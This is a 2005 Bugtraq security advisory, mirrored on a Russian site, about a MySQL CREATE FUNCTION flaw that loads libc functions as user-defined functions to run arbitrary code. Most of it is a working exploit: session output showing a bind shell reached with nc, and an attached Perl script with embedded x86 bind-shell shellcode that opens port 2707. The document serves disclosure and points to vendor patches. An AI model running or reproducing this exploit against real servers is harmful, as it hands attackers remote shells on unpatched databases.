The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Mysql CREATE FUNCTION libc arbitrary code execution.


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Subject: Mysql CREATE FUNCTION libc arbitrary code execution.
From: Stefano Di Paola <stefano.dipaola@wisec.it.>
To: Bugtraq <bugtraq@securityfocus.com.>
Content-Type: multipart/mixed; boundary="=-lWvIiJAeBLHwOfCt3yiu"
Date: Fri, 11 Mar 2005 00:08:44 +0100
Message-Id: <1110496124.6557.18.camel@first.>
Mime-Version: 1.0
X-Mailer: Evolution 2.0.1-1mdk 
X-Spam-Rating: smtpa1.aruba.it 1.6.2 0/1000/N
X-Virus-Scanned: antivirus-gw at tyumen.ru


--=-lWvIiJAeBLHwOfCt3yiu
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 8bit

3. Mysql CREATE FUNCTION libc arbitrary code execution.

Author: Stefano Di Paola
Vulnerable: Mysql <= 4.0.23, 4.1.10 
Type of Vulnerability: Local/Remote - input validation
Tested On : Mandrake 10.1 /Debian Sarge
Vendor Status: Notified on March 2005

-- Description 

If an authenticated user has INSERT and DELETE privileges on 'mysql'
administrative database, it is possible, by using the CREATE FUNCTION
command, to take advantage by functions from libc in order to gain mysql
user privileges.

Let's see what is the issue.

The structs defined in include/mysql_com.h are

 196  typedef struct st_udf_args
 197  {
 198	unsigned int arg_count; 	      /* Number of arguments */
 199	enum Item_result *arg_type;	      /* Pointer to item_results */
 200	char **args;			      /* Pointer to argument */
 201	unsigned long *lengths; 	      /* Length of string arguments */
 202	char *maybe_null;		      /* Set to 1 for all maybe_null args */
 203  } UDF_ARGS;
 204  
 205	/* This holds information about the result */
 206  
 207  typedef struct st_udf_init
 208  {
 209	my_bool maybe_null;		      /* 1 if function can return NULL */
 210	unsigned int decimals;  	      /* for real functions */
 211	unsigned long max_length;	      /* For string functions */
 212	char	*ptr;			      /* free pointer for function data */
 213	my_bool const_item;		      /* 0 if result is independent of
arguments */
 214  } UDF_INIT;
 215  

the order MySql use this structs when a function 'xxx' is called from
sql_udf.h (from Mysql Manual) is the following.

For STRING functions:

char *xxx(UDF_INIT *initid, UDF_ARGS *args,
          char *result, unsigned long *length,
          char *is_null, char *error);

For INTEGER functions:

long long xxx(UDF_INIT *initid, UDF_ARGS *args,
              char *is_null, char *error);


so the first argument is a UDF_INIT pointer and the second one is
UDF_ARGS pointer.

by using on_exit, strcat (or strcpy) and exit libc function we could
change the execution flow.

from man strcat:
....
char *strcat(char *dest, const char *src);
....

from man on_exit:
....
      int on_exit(void (*function)(int , void *), void *arg);

DESCRIPTION
       The on_exit() function registers the given function  to  be
called  at normal  program termination, whether via exit(3) or via
return from the program's main.  The function is passed the argument to
exit(3) and the arg argument from on_exit().
....

from man exit:
....
       void exit(int status);
DESCRIPTION
       The exit() function causes normal program termination and the the
value of status & 0377 is returned to the parent (see  wait(2)).   All
functions  registered with atexit() and on_exit() are called in the
reverse order of their registration, and  all  open  streams  are
flushed  and closed.  Files created by tmpfile() are removed.
....


what would happen if we use these functions on mysql?

CREATE FUNCTION 'strcat' RETURNS STRING SONAME 'libc.so.6';
will call
 strcat(UDF_INIT *initid, UDF_ARGS *args)
 
 catting the value pointed by args (arg_count) in the location where
initid points.

CREATE FUNCTION 'on_exit' RETURNS INTEGER SONAME 'libc.so.6';
 will call
  on_exit(UDF_INIT *initid, UDF_ARGS *args)

 registering the function pointed by initid.

CREATE FUNCTION 'exit' RETURNS INTEGER SONAME 'libc.so.6';
 will call
  exit( initid)
 exiting with status initd.

Next step is understand how it works.

Supposing we have created strcat, on_exit and exit into MySql DBMS,
mysql> select on_exit(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  ->,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)\G
...
mysql> select strcat(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  ->,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)\G
*************************** 1. row ***************************
strcat(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\
        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0): 1
1 row in set (0.00 sec)
mysql> select exit();
Lost Connection.

What happened?

We registered the location pointed by initid to be executed on exit by
using on_exit, then we overwrote *initd with strcat and finally we
called exit.

Now mysql daemon follow this flow:
1. exit is called, then jump to initid and execute location.
2. location contains the following value: 0x00000001 corresponding to
some non useful opcode.
3. so mysql crashes and exits.

by using this feature we can add a number of arguments to inject a
simple opcode for  our aim.

by looking into memory with gdb we'll see that the string
strcat(0,0,0,0,.....
is very near (a bunch of bytes that for me is 0x3d) to address pointed
by 'initid' so by using the opcode

0x3deb jmp 0x3d

we'll jump to the command we sent....
So, by using as first argument a shellcode, mysql will execute it.

A proof of concept is attached.

$ perl exp3.pl 3 0
Using 3de9
Create Function
select    on_exit('jfXj[RSjáÍRChÿ
ájQPáÆ°fÍCC°fÍRVáC°fÍÙð?IÍAâøRhn/shh//biãRSá°
                                              Í', 0),   strcat(0);Select
on_exit
$VAR1 = {
          'on_exit(\'jfXj[RSjáÍRChÿ
ájQPáÆ°fÍCC°fÍRVáC°fÍÙð?IÍAâøRhn/shh//biãRSá°
                                              Í
\',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
              0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
              0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
              0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,' => 
              '592229467032649728',
          'strcat(0)' => 'HPh?strcat(0P'
        };
DBD::mysql::st execute failed: Lost connection to MySQL server during
query at myexp.pl line 112.
DBD::mysql::st execute failed: Lost connection to MySQL server during
query at myexp.pl line 112.
_

now open another shell and

$ nc 127.0.0.1 2707
id
uid=78(mysql) gid=78(mysql) groups=78(mysql)
^C
$




-- Solution

Mysql Company released a patch.
New versions for MySQL 4.0.24 and  4.1.10a have been released. Download
them to fix the issue.

Thanks to MySQL people, they where very kind and professional.

-- Disclaimer

In no event shall the author be liable for any damages 
whatsoever arising out of or in connection with the use 
or spread of this information. 
Any use of this information is at the user's own risk.


-- 

......---oOOo--------oOOo---......
Stefano Di Paola
Software Engineer
Email: stefano.dipaola_at_wisec.it
Email: stefano.dipaola1_at_tin.it
Web: www.wisec.it
..................................

--=-lWvIiJAeBLHwOfCt3yiu
Content-Disposition: attachment; filename=exp3.pl
Content-Type: application/x-perl; name=exp3.pl
Content-Transfer-Encoding: 7bit

#!/usr/bin/perl
##   Mysql CREATE FUNCTION libc arbitrary code execution.
##
##   Author: Stefano Di Paola
##   Vulnerable: Mysql <= 4.0.23, 4.1.10 
##   Type of Vulnerability: Local/Remote - input validation
##   Tested On : Mandrake 10.1 /Debian Sarge
##   Vendor Status: Notified on March 2005
##   
##  Copyright 2005 Stefano Di Paola ([email protected])
##
##
##  Disclaimer:
##   In no event shall the author be liable for any damages
##   whatsoever arising out of or in connection with the use
##   or spread of this information.
##   Any use of this information is at the user's own risk.
##
##  
##  
##  It calls on_exit(address) 
##  then overwrites the address with strcat or strcpy
##  and then calls exit
##  
##  Usage:  
##          perl myexp.pl numberofnops offset
##  Example:
##          perl myexp.pl 3 0
################################################

use strict;
use DBI();
use Data::Dumper;
use constant DEBUG => 0;
use constant PASS => "USEYOURPASSHERE";
# Connect to the database.
my $dbh = DBI->connect("DBI:mysql:database=test;host=localhost",
               "root", PASS ,{'RaiseError' => 1});
               
### This is the opcode pointed by the address where on_exit jumps
###
### 
### 0x3deb jmp 0x3d
### but needs to be decremented by 2. ("shell",0x0x3de9,0)
##                                       -1            -1 = 0x3de9-2
# resulting in 0x3deb
## 0x3d is the distance from the address on_exit calls and the beginning of
## bind shell "\x6a\x66\x58\x6a\x01....
my $jmp=0x3de9+($ARGV[1]<<8);
printf("Using %x\n",$jmp); 
my $zeros="0,"x($jmp);
### Bind_shell... works.....but maybe needs some nop  \x90
### so i use argv[0] to repeat \x90
### It binds a shell to port 2707 (\x0a\x93)
 my $shell= ("\x90"x$ARGV[0])."\x6a\x66\x58\x6a\x01".
 "\x5b\x99\x52\x53\x6a\x02\x89".
 "\xe1\xcd\x80\x52\x43\x68\xff\x02\x0a\x93\x89\xe1".
 "\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80".
 "\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0".
 "\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80".
 "\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f".
 "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

########### Bash !!!!!!!!!!!###############
#   my $shell=("\x90"x$ARGV[0])."\x6a\x0b\x58\x99\x52\x68".
#  "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80";
my $onex_create="create function on_exit returns integer soname 'libc.so.6';";
print $onex_create,"\n" if(DEBUG);
my $sth = $dbh->prepare($onex_create);
if (!$sth) {
    print "Error:" . $dbh->errstr . "\n";
}
eval {$sth->execute};
  if($@){
     print "Error:" . $sth->errstr . "\n";
  }


my $strcat_create="create function strcat returns string soname 'libc.so.6';";
print $strcat_create,"\n" if(DEBUG);
my $sth = $dbh->prepare($strcat_create);
if (!$sth) {
    print "Error:" . $dbh->errstr . "\n";
}
eval {$sth->execute};
  if($@){
     print "Error:" . $sth->errstr . "\n";
  }

my $exit_create="create function exit returns integer soname 'libc.so.6';";
print $exit_create,"\n" if(DEBUG);
my $sth = $dbh->prepare($exit_create);
if (!$sth) {
    print "Error:" . $dbh->errstr . "\n";
}
eval {$sth->execute};
  if($@){
     print "Error:" . $sth->errstr . "\n";
  }

my $onex="select    on_exit('".$shell."',".$zeros."0),   strcat(0);";
 print "select    on_exit('".$shell."', 0),   strcat(0);";
print $onex,"\n" if(DEBUG);
my $sth = $dbh->prepare($onex);
if (!$sth) {
    print "Error:" . $dbh->errstr . "\n";
}
print "Select on_exit\n";

if (!$sth->execute) {
    print "Error:" . $sth->errstr . "\n";
}
   while (my $ref = $sth->fetchrow_hashref()) {
      print Dumper($ref);
    }


my $strc="select    strcat('".$shell."',".$zeros."0),     exit(0);";
print $strc,"\n" if(DEBUG);
 $sth = $dbh->prepare($strc);
if (!$sth) {
    print "Error:" . $dbh->errstr . "\n";
}

if (!$sth->execute) {
    print "Error:" . $sth->errstr . "\n";
}
print "Select exit\n";

--=-lWvIiJAeBLHwOfCt3yiu--



<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



ðÁÒÔΣÒÙ:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
èÏÓÔÉÎÇ:

úÁËÌÁÄËÉ ÎÁ ÓÁÊÔÅ
ðÒÏÓÌÅÄÉÔØ ÚÁ ÓÔÒÁÎÉÃÅÊ
Created 1996-2025 by Maxim Chirkov
äÏÂÁ×ÉÔØ, ðÏÄÄÅÒÖÁÔØ, ÷ÅÂÍÁÓÔÅÒÕ